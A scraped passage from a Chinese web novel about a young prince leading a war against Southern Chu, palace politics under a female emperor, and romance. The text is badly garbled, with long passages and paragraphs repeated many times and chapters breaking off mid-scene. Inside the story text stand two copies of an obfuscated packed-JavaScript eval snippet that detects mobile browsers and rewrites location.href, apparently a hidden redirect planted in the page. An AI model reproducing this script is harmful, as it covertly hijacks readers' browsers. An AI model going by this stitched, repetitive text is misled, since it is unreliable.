“周将军追杀敌寇一天一夜,已有上百里,项英被活捉,正在押解回来。” “他们的伤亡情况如何?” “以我们收敛的尸首来看,南楚阵亡将士在两万四千人左右,受伤的还有上万,另外俘虏投降士兵六千余,已经全部关押到兵营。周泽将军的骑兵没办法接收俘虏,基本走到哪杀到哪,目前不太好统计。” “好!” 这是一场大胜,林臻很开心。 “告诉下面的人,做好阵亡将士的家庭情况调查,按每人五十两银子发放抚恤,受伤的治伤,重伤的额外照顾,等打完仗回京,再论功行赏。另外告诉看管俘虏的将士,不要苛待他们,一天起码给一顿饭吃,这些人都是壮丁,可不能屠了,我留着还有用。” “是,世子,另外.....还有件事。” 林臻见他吞吞吐吐的,顿时有种很不好的预感。 毛梦极想尽办法把语言组织得缜密些,这才说道。 “由陈宵将军率领的五千精骑于昨夜已经渡过黄河,直奔南楚京城而去。” “什么!??”林臻噔噔噔地从木榻上走下来,“我不是告诉过他们在历城附近围点打援吗?为何跑京城去了?” “世子息怒,据传回来的消息,陈宵将军已经攻破禹城、齐河、长清三县,正沿着大路直奔鲁县,一路上所向披靡,无人能挡,南楚士兵闻疯王降临,纷纷弃城投降。” 啊? 这陈宵这么狠? 自己一个人带着五千骑兵,深入南楚腹地,三天破三城? 这哪是陈宵啊。 这尼玛不霍去病吗? 第248章要叫我娘子! 林臻思来想去还是觉得不靠谱。 陈宵毕竟不是霍去病,而南楚也不是塞外蛮荒,没那么好打。 山路复杂多变,水系多样繁杂,可以埋伏的地点数不胜数。如果按照陈宵这种莽夫的性格再深入下去,一旦南楚反应过来,派出枪兵前后夹击,这五千人马就全都得扔里面。 陈宵死不死的林臻不在乎,渎职与指挥不当的罪名对他来讲也无所谓。 他真正心疼的是这五千骑兵。 培养个骑兵不容易,尤其是优秀的骑兵,需要付出比步兵更多的资源与精力。 再说,他们也是有血有肉,有家有业的壮丁,是家里的顶梁柱,不能不明不白地跟着陈宵去送死。 “梦极,你立刻飞马传令,命令陈宵返程归队,配合这郑三山推进。告诉他,否则不管他立多大的功,就是他把楚霸天给攮死了,我也要他脑袋!” “是!” 毛梦极答应得很干脆,但是对此并不看好。 他对陈宵是有些风闻的,知道这家伙就是个愣货,而且内心扭曲,当年王爷想命令他,他都得打打折扣。 现在林臻刚在军中混出点名堂,根基不稳,以他傲慢的性子是不会听的。 可是在这个节骨眼上他只能领命,至于消息传出去后有没有效果,那就不是他的问题了。 但愿这傻子别成为世子立威的牺牲品吧。 毛梦极走了,林臻也收拾收拾准备启程。 大部队都扑上去了,自己这个元帅躲在后方睡美人也有点不太合适。 “颜颜,去换衣服吧,我们出发。” “不许你这么叫我!”刘妙颜还是那副生人勿进的样子。从木榻上站起来,扭着一米八大长腿款款而来。 当走到林臻面前时,她便装不下去了,噗嗤一笑。 单指挑起林臻的下巴,卡姿兰的大眼睛微微一眨:“要叫我娘子!” 林臻没好气地把她手扒拉到一边。 “你才是应该叫夫君!” “哦?我敢叫,你敢答应吗?” “有何不敢?叫来听听!” “唔~”刘妙颜沉吟一声,故作小女儿媚态,但脸上却不动声色没有半点绯红。 看到这林臻就知道,她肯定憋着坏呢。 “夫君~!” 呦?还真叫了。 “哎~” 林臻刚美滋滋地答应一声,就被她霸道的搂住脖子,狠狠吻了上去。 “唔!!”林臻瞪大双眼,任由刘妙颜的嫩舌在自己嘴里各种搅弄。 这一刻,他觉得他才是小女人!这刘妙颜就是个霸道总裁! 也不知道哪个王八蛋发明的法式长吻,林臻感觉自己骨髓都要被刘妙颜吸走了。 这时,来福走出来吼了一声。 “呀喵——” “啧,这死猫。”刘妙颜松开嘴,不爽地看了一眼来福,走了出去。 独留发愣的林臻呆在原地。 “呀喵——”来福狠狠伸了个懒腰,呲出两颗大牙,大爪子在地上抓出几道痕迹,然后走到林臻脚边各种蹭。 林臻蹲下身摸了摸它的大脑袋,苦笑道。 “兄弟,你来得真及时啊......” ...... 晨钟敲响,当秋日的第一缕阳光照进京城的时候,城门大开,准备迎接一天的访客。 嘎吱吱—— 厚重的木门被推开,还没等上栓,就见大路对面尽头有一探马奔来。 那人脑袋上插着一根红色鸡毛,来到城门口也不停止通报,飞奔入城,喊道。 “清河县大捷!!” “我军斩首两万,俘虏一万!南楚落荒而逃!” “清河县大捷!” 城门令听到这消息,激动得都不知道说什么好了。 奶奶的,京城里多少年都没有大胜的消息传回来了,当即冲过去抢过钟杵,亲自撞钟! “咚!咚!咚!咚!” 刚刚上街的百姓听到钟声都有些好奇,心里默默数着多少下,谁知就在这时,探马飞速而过,嘴里喊道。 “清河县大捷!” “我军斩首两万,俘虏一万!世子亲自守城,大振军心!” 百姓闻言激动得无以复加,不管男女老少纷纷从家里出来涌上街头,欢欣鼓舞! “赢了!赢了!” “我就说南楚那些鼠辈根本不是我们的对手!” “没错,一百零八下晨钟!就是大胜的消息!” “天大的好事,老夫今天要痛饮三杯啊!” “哈哈哈哈!” “听说这次是王府世子挂帅,其勇不亚于老王爷啊!” “世子牛逼!” 刚从王府出来的张俪和月妩两女正准备钻进马车,听到这个消息,连忙从凳子上退下来,笑得合不拢嘴! 尤其是月妩。 这次出征的不仅是她夫君,还有她亲弟弟。 只见她攥起双手,看向张俪:“怎么样,我就说夫君是最厉害的!” “夫君当然厉害!我们快回去把消息告诉管家,让他把兵器插在门楣上!” “嗯!” 与此同时。 金銮殿。 慕容嫣这段时间可谓是相当的勤奋,不仅晚睡早起,整日整夜的批改奏折,更是经常把林震仙和司马忠叫进宫里,请教治世之法。 满朝文武都很佩服慕容嫣,背地里都说大乾复兴指日可待。 今日早朝慕容嫣更是一改前态,虚心听取各位大臣的建议,决定对辽东地区施行改革策略。 “陛下,臣还有本奏。”刘恺威从队伍里站出来说道。 “爱卿快讲。” “陛下,辽东地区,恐怕已经不是我们熟悉的样子了。” “哦?爱卿这是何意?难道土地还会变换不成?”慕容嫣确实没有多想,更没想到当时自己听从了林臻的建议,把胖子调到玄菟后会发生这么多事情。 “陛下,自数月前您将王蓬调到玄菟后......我朝版图已经扩张一半了。” “什么!??” 慕容嫣惊讶得险些跳起来。 几个月的功夫版图扩张一半?这王胖子都在玄菟干什么了? 慕容嫣看向胖子的父亲王铁男:“王爱卿,这是真的吗?” 王铁男露出一抹艰涩的苦笑:“回陛下,是真的。目前东北地区,松花江至兴凯湖以南,皆是我大乾国土。” 慕容嫣根本就不知道松花江在哪,也不知兴凯湖是什么湖,只知道这个被贬谪的王胖子居然阴差阳错之下为大乾开疆拓土了? 这还是那个大闹喇嘛庙的纨绔吗? 除了震惊以外,慕容嫣还有些恼怒。 这群臣子肯定早就知道胖子在边疆打仗的事情,但是却隐瞒不报。 他们想干什么?想让王胖子在东北裂地封王吗? “这到底是怎么回事?为什么这么久都没有人告诉朕!” 这样的质问也没有人敢回答,至于丞相司马忠更是眼观鼻,鼻观口。 他是真不知道。 这都是军方大佬琢磨的。 而且王府世子就是主谋! 没办法,见所有人都不说话,一直沉默的林震仙终于站出来说道。 “启禀陛下,微臣是知道此事的。当日林臻说要让胖子...王蓬,去玄菟戍边,是微臣私底下给他三千兵马,希望他可以在玄菟戴罪立功。如今来看,效果还不错。” “王爷,你莫要往林臻头上推责任,你私自调动兵马,可知罪否?”慕容嫣不知不觉摆了下当皇帝的谱,好在林震仙一直都是忠心的,当即作揖。 “微臣知罪,请陛下降罪。” “罢了,过朕要你详细说明王蓬在东北的事情,为何会与鲜卑人打起来?又为何这么短的时间拿下这么大的疆土?” “回陛下,王蓬自山海关领兵之后便直奔玄菟,与玄菟太守周长青联合,一主外,一主内,不日有鲜卑骑兵进城,他便开始了征战,一路向北,直打到现在。” 慕容嫣更加疑惑了。 “没有粮草,没有援军,他是如何打仗的?” “额...王蓬听从了林臻的建议,打到哪,抢到哪。另外鲜卑地广人稀,以至于让他的三千兵马肆意驰骋,所以才有了今天的战果。” “嘶......” 打到哪,抢到哪。 好家伙,不愧是林臻啊,对待外族人还真是狠辣。 “既如此,你怎么看待这件事情?还要让王蓬继续打下去吗?” 林震仙是个老实人,当即说道:“臣建议换将。” “为何?” “因为鲜卑实在是太大了,仅凭他三千人马就算打下来也守不住,所以微臣建议派地吾卫六万大军,由陆一鸣率领,进驻东北,把王胖子...把王蓬替换回来。等打完了仗,这批军队就可以东北地区的第一批原住民。” 刘凯文当即说道:“陛下,臣附议。我们好不容易打下来的疆土,没理由再还回去,更何况鲜卑人年年下来打秋风,边关百姓苦不堪言,不如趁此机会将其纳入我大乾版图,并让百姓往东北迁徙,由此,东北大定!” 一番话说得慕容嫣激动不已。 这可是疆土啊,虽然地广人稀又寒冷,但毕竟是土地。 我们汉族人对土地向来都有一种近乎偏执的执念。 此时,司马忠想了想,站出来问道。 “敢问刘大人,东北苦寒,百姓会愿意迁徙吗?再者,就算地方大,可那里终究不如中原,否则先祖辈为何不去抢夺呢?请刘大人解惑。” 第249章呸,谁是你宝贝! “丞相,这你就不知道了,东北平原地大物博,黑土地肥沃,种什么得什么。我们只要告诉百姓,但凡愿意去东北的,按人头分,每人一百亩地。前三年不交税!我想,百姓会愿意去的。” “每人一百亩地?有那么大地方吗?”司马忠都快把眼珠子瞪出来了。 乾国人群拥挤,土地贫瘠,就算在老天爷赏脸,连年大熟的情况下,也不过是勉强吃饱。 因为什么?除了世家地主的剥削外,就是因为可耕种土地太少了。 “哈哈哈哈,丞相有所不知,东北大着呢,若全占下来,恐怕有四个大乾那么广阔!” “啊......呵呵呵。”司马忠苦笑一声,“本相无知,今日可算大开眼界了,陛下,臣也附议!” “好!”慕容嫣一锤定音,“就依王爷所言,拟旨!敕封陆一鸣为东北道大总管,领地吾卫全部兵马进驻东北,让王蓬即日回京。” “陛下圣明!” 群臣拜倒。 慕容嫣高兴得合不拢嘴,突然感觉粘在上唇的胡子有些松动,赶紧又摸了摸。 这动作多少有点屌丝看美女的意思。 就在此时,刘恺威又说道:“启奏陛下,臣还有本奏。” “爱卿说来。” “陛下,清河县连日遭到南楚猛攻,前方战事吃紧,需要加紧运粮。” “唔。”慕容嫣点点头,“这事万万不可耽误,谷爱卿,朕命你立刻拨粮,支援前线。” 顾家虽然完蛋了,但谷中满依旧在当户部尚书,可是明眼人都知道,他快当到头了。 慕容嫣已经派林震仙推荐的三位大臣进驻户部学习,想来不需一年,他便要遭到贬谪,或者告老。 所以谷中满现在是当一天和尚撞一天钟,很多事情他都不爱管,也不敢管。 管多了,百骑司立刻就会来查;管少了,他反而能轻松些。 此刻,谷中满苦着脸从队伍里走出来。 “启禀陛下,户部已经没有多少余粮了。” “什么?”慕容嫣翠眉微蹙,“这才刚过秋收,为何会没有粮食?” “陛下,今年关中大熟不假,但辽东遭遇洪灾,地里颗粒无收,新粮又因为支援辽东百姓而大批运送,现在户部真的已经要捉襟见肘了。” “一派胡言!就算支援辽东,又怎么会把粮食都用光?莫不是你......”慕容嫣又开始往贪污这方面动心思了。 想来也对,毕竟谷中满是有前科的人。 然而谷中满闻言,吓得咣当就跪了下去:“陛下!臣冤枉啊!” 他是真冤枉。 自从顾家出事以后,贪污这个词就成了所有官员的忌讳,敢想不敢拿。 慕容嫣更是采用雷霆手段,不管是谁,伸手剁手,伸脚剁脚。 前面交代过,大乾内地虽然连年大熟,但因为土地稀少,不够肥沃,粮食产量很低,百姓也只是勉强能吃饱而已。加之今年又是打仗又是赈灾,户部亏空也实属正常。 刘恺威对此心知肚明,所以并没有为难他,站出来说了句公道话。 “陛下,此事确与谷大人无关,今年粮草的税收与去年齐平,可今年国内事情太多,又是打仗又是洪灾,户部没有粮食也是正常的。” 刘恺威的话慕容嫣还是相信的,便没有继续搭理谷中满,问道:“那如何才能支援前线?” 林震仙说道:“陛下请放心,林臻自有弄到粮食的办法。” 慕容嫣闻言已经不是简单的蹙眉,而是柳眉倒竖! 什么叫自有办法? 如果没办法呢? 你们再拿朕的夫君开玩笑吗? “不行!没有粮食将士们如何打仗?必须想办法,丞相。” 司马忠站出来:“臣在。” “朕命你即刻发出告示,让百姓自发捐粮,所有收集到的粮食全部运到前线!谁若敢贪墨,朕要他的脑袋!” “臣遵旨!” 一番话吓得文武群臣谁也不敢再言,同时大家也都能看出来慕容嫣对林臻的宠爱。 不,这不是宠爱,这已经是宠溺了。 就在此时,探马突然从门外跑进来。 “陛下!!” “陛下!清河县大捷!” “什么?”慕容嫣激动的直接站了起来。 林震仙与所有大臣齐齐回头。 却见探马上气不接下气地跑了进来,双膝跪地,双手将一封密函呈上。 “陛下!清河县大捷!我军斩首两万,俘虏一万,南楚开始败退!周泽将军率领骑兵追杀百里尸横遍野,郑三山将军率领步兵压上,目前禹城、齐河、长清三县已经在我们手中。此役世子身先士卒,亲自镇守城楼,结果被流矢射伤。” 群臣爆发出轰鸣的笑声。 “我的天呐!” “陛下!这可是大胜啊!” “陛下!自先帝登基以来,我朝几十年都没有开疆拓土的事情发生了!而仅仅今年,我们就南北同时开花!这昭示我国国运正在重启啊!” “这可是天大的喜讯啊!” 慕容嫣也激动地攥住粉拳。 没错,正如群臣所说,大乾已经窝囊太多年了。 南楚动不动就来恐吓,西边的魏国也虎视眈眈,连年犯边。 就连被七国家夹在中间的韩国也不拿大乾当回事。 终于,这个已经走向末路的国家,终于在自己的手上扬眉吐气一回! 但是慕容嫣现在最关心的是林臻伤的重不重。 “林臻伤的可重?” “世子并无大碍,目前已经领兵继续南下了。” “不行!”慕容嫣当机立断,“林臻必须得回来养伤,王爷!” 林震仙面无表情地走出队列。 好像打胜仗的不是他孙子一般,也好像觉得孙子打这么一个大胜仗没有什么可稀奇的。 “陛下。” “现在南楚已然不成事,朕命你立刻去顶林臻的位置,把林臻替换回来。” “啊?” 就受这点小伤...不至于吧? 想当年老夫身上插着二十支箭,不也活下来了么。 “陛下,临阵换帅乃兵家大忌,臣请陛下三思。” “朕已经五思过了!林臻必须回来养伤!” “这......”群臣你看我,我看你。 知道陛下宠爱林臻,但也不至于宠到这个地步吧?稍微有点小伤就要求回来。 这也太矫情了。 而且陛下宠爱林臻宠得很不正常! 林震仙倒不是不愿意上战场,相反他挺乐意冲锋打仗的,但是这样对林臻不好。 可是皇帝的圣旨又不能不遵,于是林震仙只得点头。 “微臣遵旨。”言罢他步履生风地走出金銮殿。 慕容嫣这才算松了口气。 没有人知道,刚刚探马说林臻受伤的时候,她几乎整颗心都揪了起来。 “快把密函呈上来!” 慕容无舌将密函接过送到慕容嫣的龙案上。 她迫不及待地拆开,发现里面是两封信。 一封署名是华南道大总管,三卫元帅,林臻。 另一封,署名就只有林臻两个字。 可见不同的署名代表着林臻的不同立场。 “好!好!好!哈哈哈哈哈,不愧是朕的臣子,不愧是王爷的嫡孙!”慕容嫣挥舞着手里的密函说道,“众爱卿,林臻在信里交代,说郑三山已经拿下临邑,那里是南楚大军的粮仓!粮食的问题不用愁了!哈哈哈哈哈。” “臣恭喜陛下!世子此番大功,不输王爷当年!” “世子年纪轻轻便敢身先士卒,此等壮举,确实值得臣等学习!” “有王爷与林臻在,陛下成为千古一帝,一统天下,指日可待!” “哈哈哈哈。”感受到群臣发自内心的吹捧,慕容嫣开怀大笑。 “今天就到这,退朝!” ...... 回到寝宫的慕容嫣还难以平复激动的心情,她忙打开林臻的另一封信。 然而上面只有很短的一句话:“乖,等我回家,宝贝。” “呸!”慕容嫣脸蛋红红的把信扔在梳妆台上,对着信啐了一口:“谁是你宝贝!” “陛下。”麝月从房门外走进来,“司马娘娘与顾娘娘在殿外求见。” “让她们进来吧。” “是。” 麝月的声音很轻,显得十分拘谨,缓缓步出殿外。 很快,司马椿蕾与顾缜便结伴走了进来。 她们俩现在一个是贵妃,一个是宁妃。 在官身上两人差了半级,不过却感情却很好,可以说情同姐妹。 尤其在司马椿蕾知道顾缜感觉不到疼以后,更是对她关怀备至。 之所以没有发生宫斗,是因为司马椿蕾已经得到了自己想要的;而顾缜又是个淡雅的性子,当皇后还是当妃子对她来讲没有区别。 一个得到了,一个又不愿意抢,没有了利益冲突,关系自然和睦。 最重要的是,陛下是个女子。 所以他们真正的夫君是林臻,抢来抢去都是给林家抢利益,不值当。 他们此时还不知道慕容嫣与林臻发生了进一步关系这件事情,走进殿内,对着慕容嫣的背影下跪。 “臣妾参加陛下。” “起来吧。” “谢陛下。” “你们俩怎么有空过来?” 司马椿蕾起身走到慕容嫣身边。 “陛下,您让臣妾统领后宫,臣妾自然不敢懈怠,有件事需要向您禀报。” “说吧。” 慕容嫣转过身子,这瞬间司马椿蕾看到了梳妆台上的信。 林臻。 她窃喜地低下头,想着等下问问。 “陛下,嬛嬛姑娘......不太好,说想见您一面。” “丞相,这你就不知道了,东北平原地大物博,黑土地肥沃,种什么得什么。我们只要告诉百姓,但凡愿意去东北的,按人头分,每人一百亩地。前三年不交税!我想,百姓会愿意去的。” “每人一百亩地?有那么大地方吗?”司马忠都快把眼珠子瞪出来了。 乾国人群拥挤,土地贫瘠,就算在老天爷赏脸,连年大熟的情况下,也不过是勉强吃饱。 因为什么?除了世家地主的剥削外,就是因为可耕种土地太少了。 “哈哈哈哈,丞相有所不知,东北大着呢,若全占下来,恐怕有四个大乾那么广阔!” “啊......呵呵呵。”司马忠苦笑一声,“本相无知,今日可算大开眼界了,陛下,臣也附议!” “好!”慕容嫣一锤定音,“就依王爷所言,拟旨!敕封陆一鸣为东北道大总管,领地吾卫全部兵马进驻东北,让王蓬即日回京。” “陛下圣明!” 群臣拜倒。 慕容嫣高兴得合不拢嘴,突然感觉粘在上唇的胡子有些松动,赶紧又摸了摸。 这动作多少有点屌丝看美女的意思。 就在此时,刘恺威又说道:“启奏陛下,臣还有本奏。” “爱卿说来。” “陛下,清河县连日遭到南楚猛攻,前方战事吃紧,需要加紧运粮。” “唔。”慕容嫣点点头,“这事万万不可耽误,谷爱卿,朕命你立刻拨粮,支援前线。” 顾家虽然完蛋了,但谷中满依旧在当户部尚书,可是明眼人都知道,他快当到头了。 慕容嫣已经派林震仙推荐的三位大臣进驻户部学习,想来不需一年,他便要遭到贬谪,或者告老。 所以谷中满现在是当一天和尚撞一天钟,很多事情他都不爱管,也不敢管。 管多了,百骑司立刻就会来查;管少了,他反而能轻松些。 此刻,谷中满苦着脸从队伍里走出来。 “启禀陛下,户部已经没有多少余粮了。” “什么?”慕容嫣翠眉微蹙,“这才刚过秋收,为何会没有粮食?” “陛下,今年关中大熟不假,但辽东遭遇洪灾,地里颗粒无收,新粮又因为支援辽东百姓而大批运送,现在户部真的已经要捉襟见肘了。” “一派胡言!就算支援辽东,又怎么会把粮食都用光?莫不是你......”慕容嫣又开始往贪污这方面动心思了。 想来也对,毕竟谷中满是有前科的人。 然而谷中满闻言,吓得咣当就跪了下去:“陛下!臣冤枉啊!” 他是真冤枉。 自从顾家出事以后,贪污这个词就成了所有官员的忌讳,敢想不敢拿。 慕容嫣更是采用雷霆手段,不管是谁,伸手剁手,伸脚剁脚。 前面交代过,大乾内地虽然连年大熟,但因为土地稀少,不够肥沃,粮食产量很低,百姓也只是勉强能吃饱而已。加之今年又是打仗又是赈灾,户部亏空也实属正常。 刘恺威对此心知肚明,所以并没有为难他,站出来说了句公道话。 “陛下,此事确与谷大人无关,今年粮草的税收与去年齐平,可今年国内事情太多,又是打仗又是洪灾,户部没有粮食也是正常的。” 刘恺威的话慕容嫣还是相信的,便没有继续搭理谷中满,问道:“那如何才能支援前线?” 林震仙说道:“陛下请放心,林臻自有弄到粮食的办法。” 慕容嫣闻言已经不是简单的蹙眉,而是柳眉倒竖! 什么叫自有办法? 如果没办法呢? 你们再拿朕的夫君开玩笑吗? “不行!没有粮食将士们如何打仗?必须想办法,丞相。” 司马忠站出来:“臣在。” “朕命你即刻发出告示,让百姓自发捐粮,所有收集到的粮食全部运到前线!谁若敢贪墨,朕要他的脑袋!” “臣遵旨!” 一番话吓得文武群臣谁也不敢再言,同时大家也都能看出来慕容嫣对林臻的宠爱。 不,这不是宠爱,这已经是宠溺了。 就在此时,探马突然从门外跑进来。 “陛下!!” “陛下!清河县大捷!” “什么?”慕容嫣激动的直接站了起来。 林震仙与所有大臣齐齐回头。 却见探马上气不接下气地跑了进来,双膝跪地,双手将一封密函呈上。 “陛下!清河县大捷!我军斩首两万,俘虏一万,南楚开始败退!周泽将军率领骑兵追杀百里尸横遍野,郑三山将军率领步兵压上,目前禹城、齐河、长清三县已经在我们手中。此役世子身先士卒,亲自镇守城楼,结果被流矢射伤。” 群臣爆发出轰鸣的笑声。 “我的天呐!” “陛下!这可是大胜啊!” “陛下!自先帝登基以来,我朝几十年都没有开疆拓土的事情发生了!而仅仅今年,我们就南北同时开花!这昭示我国国运正在重启啊!” “这可是天大的喜讯啊!” 慕容嫣也激动地攥住粉拳。 没错,正如群臣所说,大乾已经窝囊太多年了。 南楚动不动就来恐吓,西边的魏国也虎视眈眈,连年犯边。 就连被七国家夹在中间的韩国也不拿大乾当回事。 终于,这个已经走向末路的国家,终于在自己的手上扬眉吐气一回! 但是慕容嫣现在最关心的是林臻伤的重不重。 “林臻伤的可重?” “世子并无大碍,目前已经领兵继续南下了。” “不行!”慕容嫣当机立断,“林臻必须得回来养伤,王爷!” 林震仙面无表情地走出队列。 好像打胜仗的不是他孙子一般,也好像觉得孙子打这么一个大胜仗没有什么可稀奇的。 “陛下。” “现在南楚已然不成事,朕命你立刻去顶林臻的位置,把林臻替换回来。” “啊?” 就受这点小伤...不至于吧? 想当年老夫身上插着二十支箭,不也活下来了么。 “陛下,临阵换帅乃兵家大忌,臣请陛下三思。” “朕已经五思过了!林臻必须回来养伤!” “这......”群臣你看我,我看你。 知道陛下宠爱林臻,但也不至于宠到这个地步吧?稍微有点小伤就要求回来。 这也太矫情了。 而且陛下宠爱林臻宠得很不正常! 林震仙倒不是不愿意上战场,相反他挺乐意冲锋打仗的,但是这样对林臻不好。 可是皇帝的圣旨又不能不遵,于是林震仙只得点头。 “微臣遵旨。”言罢他步履生风地走出金銮殿。 慕容嫣这才算松了口气。 没有人知道,刚刚探马说林臻受伤的时候,她几乎整颗心都揪了起来。 “快把密函呈上来!” 慕容无舌将密函接过送到慕容嫣的龙案上。 她迫不及待地拆开,发现里面是两封信。 一封署名是华南道大总管,三卫元帅,林臻。 另一封,署名就只有林臻两个字。 可见不同的署名代表着林臻的不同立场。 “好!好!好!哈哈哈哈哈,不愧是朕的臣子,不愧是王爷的嫡孙!”慕容嫣挥舞着手里的密函说道,“众爱卿,林臻在信里交代,说郑三山已经拿下临邑,那里是南楚大军的粮仓!粮食的问题不用愁了!哈哈哈哈哈。” “臣恭喜陛下!世子此番大功,不输王爷当年!” “世子年纪轻轻便敢身先士卒,此等壮举,确实值得臣等学习!” “有王爷与林臻在,陛下成为千古一帝,一统天下,指日可待!” “哈哈哈哈。”感受到群臣发自内心的吹捧,慕容嫣开怀大笑。 “今天就到这,退朝!” ...... 回到寝宫的慕容嫣还难以平复激动的心情,她忙打开林臻的另一封信。 然而上面只有很短的一句话:“乖,等我回家,宝贝。” “呸!”慕容嫣脸蛋红红的把信扔在梳妆台上,对着信啐了一口:“谁是你宝贝!” “陛下。”麝月从房门外走进来,“司马娘娘与顾娘娘在殿外求见。” “让她们进来吧。” “是。” 麝月的声音很轻,显得十分拘谨,缓缓步出殿外。 很快,司马椿蕾与顾缜便结伴走了进来。 她们俩现在一个是贵妃,一个是宁妃。 在官身上两人差了半级,不过却感情却很好,可以说情同姐妹。 尤其在司马椿蕾知道顾缜感觉不到疼以后,更是对她关怀备至。 之所以没有发生宫斗,是因为司马椿蕾已经得到了自己想要的;而顾缜又是个淡雅的性子,当皇后还是当妃子对她来讲没有区别。 一个得到了,一个又不愿意抢,没有了利益冲突,关系自然和睦。 最重要的是,陛下是个女子。 所以他们真正的夫君是林臻,抢来抢去都是给林家抢利益,不值当。 他们此时还不知道慕容嫣与林臻发生了进一步关系这件事情,走进殿内,对着慕容嫣的背影下跪。 “臣妾参加陛下。” “起来吧。” “谢陛下。” “你们俩怎么有空过来?” 司马椿蕾起身走到慕容嫣身边。 “陛下,您让臣妾统领后宫,臣妾自然不敢懈怠,有件事需要向您禀报。” “说吧。” 慕容嫣转过身子,这瞬间司马椿蕾看到了梳妆台上的信。 林臻。 她窃喜地低下头,想着等下问问。 “陛下,嬛嬛姑娘......不太好,说想见您一面。” 第251章 你们的关系什么时候这么好了? 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 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这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881901|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 刘妙颜一甩那高高的长马尾,手持长枪走了出去。 这几天林臻在,她便愿意陪在林臻身边当个护卫。 现在林臻要走,她自然要加入最前线的战斗部队。 第253章 厨房、客厅、沙发都可以 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” 慕容嫣的声音细若蚊蚋,反手搂住林臻的虎腰,将脑袋靠在他的胸口闭上了眼睛。 她真想好好感受这久违的温存。 “听说你受伤了?我很担心,所以才把你叫回来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二狗更是不敢将头抬起 “世子属下对不起您” 唉。 林臻叹了口气先把侯春和曹雄拉了起来。 “行了行了又没怪你们挺大个老爷们哭哭啼啼的成什么样子。你们先回去吧我和二狗有话说。” “是世子.” 知道林臻不怪罪哥俩这才敢走。 同时浣碧和晴雯也知道这是他们男人之间的事情也踱步进屋不敢偷听。 二狗趴在地上林臻蹲下去目光深沉表情惋惜地看着他。 “二狗抬起头来。” “世子.”二狗哭得眼圈都肿了显然是已经哭了很久。 林臻声音却出奇的平静。 “身上的伤怎么样了?” 一句话更是让二狗无地自容他咚咚咚地把头磕在地上:“世子.二狗对不起您!这条贱命您就拿去吧。” 原来这柄长剑是二狗的。 唉。 林臻叹了口气。 “谁年轻的时候不犯错误啊更何况自古忠孝两难全我不怪你。” “世子.” 林臻话锋一转:“二狗我要交给你个重要任务!” 二狗喜出望外。 “多谢世子!属下一定戴罪立功!绝不会辜负世子厚望。” 言罢二狗再次把头磕在地上泪珠浸染了石砖林臻把他拽了起来。 “你爹已经死了别怪我。” 二狗摇了摇头:“属下不敢。其实属下也只是他的私生子而已只是为人子女重在孝顺所以才这么长时间给他当卧底。” “兄弟间说开就好了没事。哦对顾南山有几个孩子?” 